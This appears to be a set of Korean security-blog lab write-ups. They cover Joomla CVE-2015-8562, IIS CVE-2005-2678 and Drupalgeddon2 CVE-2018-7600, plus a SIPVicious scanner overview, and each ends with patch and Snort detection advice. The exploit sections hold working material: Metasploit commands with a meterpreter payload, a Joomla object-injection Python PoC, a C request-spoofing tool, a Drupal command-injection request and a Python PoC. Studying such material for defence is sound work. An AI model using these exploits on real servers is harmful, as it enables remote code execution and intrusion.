※ 구글링 조회 결과를 바탕으로 실습 보고서 작성

[사진 1] 취약한 서버 구동

 

- 공격 대상이 취약점에 영향을 받는 Joomla 및 PHP 버전에 해당하는지 확인

- Metasploit 스캐너를 통해 줌라 버전 조회 (취약한 Joomla 버전 : 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x)

msf6 > use auxiliary/scanner/http/joomla_version 
msf6 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.56.112
msf6 auxiliary(scanner/http/joomla_version) > set targeturi /joomla/
msf6 auxiliary(scanner/http/joomla_version) > run

[사진 2] Scan 수행(위) 및 취약한 경우 결과(아래)

 

- PHP 버전 확인 (취약한 PHP 버전 : PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45)

[사진 3] PHP 버전 조회

 

- CVE-2015-8562 모듈을 다운로드하여 실습 진행

- Exploit 결과 공격자와 session이 설정되었으며, sysinfo, getuid 등의 명령을 통해 서버의 정보를 조회할 수 있음

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/joomla_http_header_rce.rb
cp joomla_http_header_rce.rb /usr/share/metasploit-framework/modules/exploits/multi/http
msfconsole   
msf6 > use exploit/multi/http/joomla_http_header_rce 
msf6 exploit(multi/http/joomla_http_header_rce) > set payload php/meterpreter/bind_tcp
msf6 exploit(multi/http/joomla_http_header_rce) > set rhosts 192.168.56.112
msf6 exploit(multi/http/joomla_http_header_rce) > set rport 8080
msf6 exploit(multi/http/joomla_http_header_rce) > set targeturi /joomla/
msf6 exploit(multi/http/joomla_http_header_rce) > set lhosts 192.168.56.102
msf6 exploit(multi/http/joomla_http_header_rce) > exploit

[사진 4] exploit 수행

 

- 위 패킷을 와이어샤크로 확인해보면 다음과 같음

[사진 5] 패킷 덤프

 

- 익스플로잇 후 데이터베이스에서 "joomla_sessions" 테이블을 확인해보면 조작된 세션 데이터가 저장됨

※ joomla_sessions : 세션 데이터를 보유하고 있는 테이블

[사진 6] 익스플로잇 전(좌) 후(우) 테이블 비교

2.2 분석

- Joomla는 수신하는 모든 User-Agent 헤더를 웹사이트 데이터베이스에 저장

- 이 경우, User-Agnet나 HTTP_X_FORWARDED_FOR 헤더를 통해 서버에 사용자 PC 정보를 알려줌

- 보통 통계 자료로 활용하기 위해 수집하며, Joomla에서는 해당 데이터를 세션에 저장

 

- [사진 7]을 확인해 보면, User-Agent 헤더를 통해 문자열을 입력 받을 수 있음

[사진 7] Joomla Package\libraries\joomla\session\session.php

 

- 데이터베이스에 저장하는 과정 중 직렬화를 수행

source > array("a" => 5, "b" => 6)
serialize() 함수 > a:2:{s:1:"a";i:5;s:1:"b";i:6;}
session_encode() 함수 > a|i:5;b|i:6;

 

- database.php에서 취약점이 트리거됨

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

[사진 8] Joomla Package\libraries\joomla\session\storage\database.php

 

- 보호된 변수(protected)는 직렬화 시 "\0*\0" 로 시작

class CustomClass
{
protected $data = 5;
}
echo serialize(new CustomClass);

결과 > O:11:"CustomClass":1:{s:7:"\0*\0data";i:5;}

 

- Joomla 어플리케이션의 사용자 세션 핸들러는 zero scaped 버전으로 변환해서 지원

- 이것은 HTTP 헤더를 통해 Null 바이트가 통과할 수 있게끔 허용

- 통과된 Null 바이트가 포함되어 있는 악의적인 코드는 Joomla 어플리케이션의 사용자 세션 핸들러가 보호된 변수를 직렬화할 수 있도록 가능하게 되어 악의적인 코드가 실행

 

2.3 PoC

- User-Agent 헤더에 공격용 코드를 삽입

- generate_payload 함수를 통해서 원격 명령을 삽입

- 공격 후 get_url('접근 URL', 'payload' 입력)로 결과 확인

'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
 
import requests #  easy_install requests
 
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response
   
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]
 
 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template
 
 
 
pl = generate_payload("system('touch /tmp/fx');")
 
print get_url("http://172.31.6.242/", pl)

 

3. 대응방안

① Joomla 업데이트 적용

- 3.4.6 버전 이상으로 업데이트

 

4. 참고

https://lopicit.tistory.com/363

https://github.com/vulhub/vulhub/blob/master/joomla/CVE-2015-8562/README.md

- https://blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=koromoon&logNo=220575405820

https://resources.infosecinstitute.com/topic/exploiting-cve-2015-8562-new-joomla-rce-2/

https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html

https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/joomla-0-day-exploited-in-the-wild-cve-2015-8562/

https://blog.sucuri.net/2014/11/deep-dive-into-the-hikashop-vulnerability.html

1. IIS Server

- IIS : Internet Information Service

- 마이크로소프트 윈도우를 사용하는 서버들을 위한 인터넷 기반 서비스들의 모임

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2005-2678

- MS IIS 5.0, 5.1, 6.0에서 원격의 사용자가 SERVER_NAME 변수를 스푸핑

- IIS 500-100.asp 오류 페이지를 통해 잠재적으로 중요한 ASP 코드가 노출되는 취약점

영향받는 버전
- IIS 5.0, 5.1, 6.0

영향받는 플랫폼
- MS Windows 2000 with SP4
- MS Windows XP Professional with SP2
- MS Windows 2003 with SP1

 

2.1 분석

- IIS 5.x 버전은 "SERVER_NAME" 서버변수가 "localhost" 경우 중요 정보를 표시하는 취약점을 가짐

- "SERVER_NAME" 변수가 "localhost"일 때, ASP 페이지에 에러가 있는 경우 ASP의 오류코드가 브라우저를 통해 표시

- 원격의 공격자는 "SERVER_NAME" 변수를 "localhost"로 스푸핑하여 접근

[사진 2] 익스플로잇 예시

 

- 해당 취약점은 IIS 서버의 request.servervariables("SERVER_NAME")에서 발생

- 사용자 요청을 받은 경우 "SERVER_NAME"은 웹 서버 자체 IP 주소(혹은 localhost_자기 자신을 뜻함)를 반환

- localhost는 인증된 사용자가 웹 서버 자체에서 검색하고 있다는 것을 어플리케이션이나 서비스에 증명하는데 사용

- IIS 5.x 500-100.asp 페이지는 서버 변수를 사용해 오류가 발생한 코드의 표시 여부를 결정하므로 공격에 주로 사용됨

[사진 3] 출력되는 오류 메세지

 

- 이를 정리하면 다음과 같음

① IIS 5.x 버전에서 localhost는 서버에 접근 가능한 인증된 사용자를 의미
② "SERVER_NAME" 서버변수가 "localhost"를 반환한다는 점을 악용
③ 공격자는 HTTP 요청 메세지에 localhost를 섞어서 전송할
④ request.servervariables("SERVER_NAME")에 의해 인증된 사용자가 아님에도 인증된 사용자로 인식

 

2.2 PoC 분석

- HTTP 요청에 localhost을 삽입해 요청 전송

※ Host 헤더를 localhost로 변조하는것 또한 익스플로잇이 가능할것으로 판단됨.

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

//max size to socket buffer
#define LEN_BUF 2048
//socket status
#define Conectado 1868

void main(int argc, char *argv[])
{
	/*connect to a host throught a port*/
	int Conecta(char *Host, short puerto);
	//socket from the connection
	int socket;
	//to get the data received
	char buf[LEN_BUF];
	FILE *data;

	printf("\n                 Proof of Concept");
	printf("\n IIS 5.x and IIS 6.0 Server Name Spoof - by Lympex");
	printf("\nContact: lympex[at]gmail[dot]com - http://l-bytes.tk");
	printf("\n----------------------------------------------------\n");

	if(argc!=4)
	{
		printf("\n[+] Usage: %s server.com 80 /test.asp\n",argv[0]);return;
	}

	//conectamos
	socket=Conecta(argv[1],(short)atoi(argv[2]));

	if(socket==-1)
	{
		printf("\n[+] Error connecting to host\n");
		return;
	}printf("\n[+] Connected!\n");

	if((data=fopen("received_data.txt","w"))==NULL)
	{
		printf("\n[+] Error saving received data\n");
		WSACleanup();
		return;
	}

	/*send the EVIL REQUEST*/
	strcpy(buf,"GET http://localhost");strcat(buf,argv[3]);strcat(buf," HTTP/1.0\n\n");
	send(socket,buf,strlen(buf),0);

	//while we aren´t disconnected
	do
	{
		buf[recv(socket,buf,LEN_BUF,0)]='\0';
		fputs(buf,data);
	}while(socket==Conectado);

	WSACleanup();
	fclose(data);
	printf("\n[+] Received data, saved in: \x22received_data.txt\x22\n");
	return;
}

/*Connect to a host throught a port - by Lympex*/
int Conecta(char *Host, short puerto)
{
	/*para crear el socket*/
	WSADATA wsaData;
	SOCKET Winsock;//el que escucha
	/*estructura con los datos para realizar la conexion*/
	struct sockaddr_in Winsock_In;
	struct hostent *Ip;

	/*iniciamos el socket*/
	WSAStartup(MAKEWORD(2,2), &wsaData);
	/*asociamos*/
	Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
	
	//miramos si está correcto, y así no rellenamos la estructura Winsock_In para nada
	if(Winsock==INVALID_SOCKET)
	{
		/*salimos*/
		WSACleanup();
		return -1;
	}

	/*rellenamos la estructura*/
	Ip=gethostbyname(Host);
	Winsock_In.sin_port=htons(puerto);
	Winsock_In.sin_family=AF_INET;
	Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));

	/*conectamos*/
	if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
	{
		/*salimos*/
		WSACleanup();
		return -1;
	}

	return Winsock;
}

 

3. 대응방안

① 해당 HTTP 요청을 탐지 가능한 정책 적용

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL WEB_SERVER WEB-IIS Remote IIS Server Name spoof attempt loopback IP"; flow:to_server,established; content:"http|3a|//127.0.0.1"; pcre:"/http\x3A\/\/127\.0\.0\.1\/.*\.asp/i"; reference:cve,2005-2678; classtype:web-application-activity; sid:2100139; rev:5;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2005-2678

https://developer.aliyun.com/article/450934

https://fossies.org/linux/w3/resources/emerging-web_server.rules

https://www.exploit-db.com/exploits/1178

- http://www.hackersnews.org/hn//read.cgi?board=vul_top&nnew=2&y_number=2157

1. Drupal

- PHP로 작성된 오픈 소스 콘텐츠 관리 프레임워크, 콘텐츠 관리 시스템, 블로그 엔진

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2018-7600

- 취약한 Drupal의 Form API Ajax 요청 프로세스에서 입력값 검증이 제대로 이루어지지 않아 공격자로부터 악의적인 코드를 실행할 수 있음

영향받는 버전
- Drupal 7.58 이전 버전
- Drupal 8.3.9 이전의 8.x
- Drupal 8.4.6 이전의 8.5.x
- Drupal 8.5.1 이전의 8.5.x

 

2.1 분석

- Drupal에서 Form API는 Renderable Arrays, 배열을 사용
- 랜더링 배열은 "#"로 시작하는 키-값 구조
- #post_render 배열은 브라우저에 특정 부분을 랜더링하는 역할 수행
- #post_render 배열에 시스템 명령 함수를, 배열의 인자인 #markup에 시스템 명령어를 삽이하면, 해당 명령이 실행됨

[사진 2] 예시

2.1 실습

- 취약한 서버 실행

git clone https://github.com/vulhub/vulhub
cd /vulhub/drupal/CVE-2018-7600
docker-compose up -d

[사진 3] Docker 이미지 실행

 

- 이후 localhost:8080으로 접속하여 설치 진행 및 정상 접근 확인

※ "데이터베이스 설정"에서 sqlite 데이터베이스 선택

[사진 4] 설치 완료

 

- Drupal 전용 스캐너 droopescan으로 정보 수집

git clone https://github.com/SamJoan/droopescan
cd droopescan 
pip install -r requirements.txt 
./droopescan --help
./droopescan scan -u Target

[사진 5] Scan 결과

 

- ExploitDB에서 Exploit 코드를 다운 받아 PoC 실행

[사진 6] PoC 실행

 

- PoC 실행 후 Check에서 확인되는 URL에 접근 시 hello.txt의 내용 확인 가능

[사진 7] hello.txt

 

- 와이어샤크를 통해 확인해보면 다음과 같음

[사진 8] Exploit 수행(좌) 및 결과(우)

 

- id 명령어 삽입 및 수행 결과 정상 반환 등 다른 명령어 또한 삽입이 가능

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

[사진 9] id 명령어 삽입(위) 및 와이어샤크(아래)

2.2 PoC

- PoC를 통해 다음을 확인할 수 있음

① form_id=user_register_form // user_register_form은 가입하기 양식 전체의 form_id

② _drupal_ajax=1 // ajax 사용

③ mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id // 실제 공격이 발생하는 지점

#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

 

3. 대응방안

3.1 서버측면

- 패치 적용

버전 패치 버전
Drupal 7.x 버전대 7.58 버전
Drupal 8.3.x 버전대 8.3.9 버전
Drupal 8.4.x 버전대 8.4.6 버전
Drupal 8.5.x 버전대 8.5.1 버전

 

3.2 네트워크 측면

- 원격 명령 삽입이 가능한 랜더링 배열을 탐지하는 정책을 설정

#access_callback : Drupal에서 현재 사용자가 요소에 액세스할 수 있는지 여부를 결정하는 데 사용
#pre_render : 렌더링하기 전에 렌더링 배열을 조작
#lazy_builder : 렌더링 프로세스의 맨 마지막에 요소를 추가하는 데 사용
#post_render : 렌더링 프로세스의 결과를 받고 주변에 래퍼를 추가

<snort 예시>
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"Drupalgeddon2 (CVE-2018-7600)"; flow: to_server,established; content:"POST"; http_method; content:"markup"; fast_pattern; content: "/user/register"; http_uri; pcre:"/(access_callback|pre_render|lazy_builder|post_render)/i"; classtype:web-application-attack; sid:9000110; rev:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/cve-2018-7600

https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600

https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/

https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708

https://www.exploit-db.com/exploits/44448

1. SIPVicious

- 공개된 인터넷 전화 시스템을 체크하는 스캐너로, 일종의 해킹 도구

- 인터넷상에 연결된 장비 중 인터넷 전화시스템만을 찾아내기 위한 도구

 

2. Tools

 

GitHub - EnableSecurity/sipvicious: SIPVicious OSS has been around since 2007 and is actively updated to help security teams, QA

SIPVicious OSS has been around since 2007 and is actively updated to help security teams, QA and developers test SIP-based VoIP systems and applications. - GitHub - EnableSecurity/sipvicious: SIPVi...

github.com

- Python으로 제작된 오픈소스로 5가지 기능이 존재

기능 설명 사용법
svmap - 주어진 네트워크에서 SIP 장치를 검색
- 포트 범위에서 호스트를 검색하는 옵션
svmap [options] [host]
svwar - PBX (기업용 전화) 식별
- 회선 인증 필요 여부 확인 가능
svwar [options] [target]
svcrack - SIP PBX용 온라인 비밀번호 크래커
- 숫자 또는 사전 파일을 이용해 비밀번호 크랙
svcrack [command] [options]
svreport - 세션 관리 및 결과 보고서 생성
- PDF, XML, CSV 및 일반 텍스트
svreport [command] [options]
svcrash - 인증되지 않은 scwar 및 svcrash 검색 중지 시도 svcrash [options]

 

3. 대응

① 탐지 및 차단

- Rawdata를 확인해 보면 User-Agent 항목에 friendly-scanner가 명시됨

- 해당 항목을 탐지할 수 있도록 정책을 적용

...
sip:100@ ~~~~
Via:SIP/2.0/UDP ~~
From: "sipvicious"~
User-Agent: friendly-scanner
...

 

- 추가적으로 User-Agent에 다음 값들 또한 명시됨

[사진 1] SIP User-Agent

 

② 포트 변경

- friendly-scanner는 포트 5060을 검색하므로 포트를 변경

 

③ 임계치

- 짧은 시간에 다수의 실패 로그가 확인될 경우 일시적 혹은 영구 차단

 

4. 참고

https://github.com/EnableSecurity/sipvicious

https://github.com/EnableSecurity/sipvicious/wiki

https://blog.kolmisoft.com/sip-attack-friendly-scanner/

- https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=calmroad&logNo=100125510060

'취약점 > Scanner' 카테고리의 다른 글

고 언어 기반 스캐너 GoBruteforcer  (2) 2023.03.25
Masscan Scanner  (0) 2022.10.06
ZGrab Scanner  (0) 2022.10.06

+ Recent posts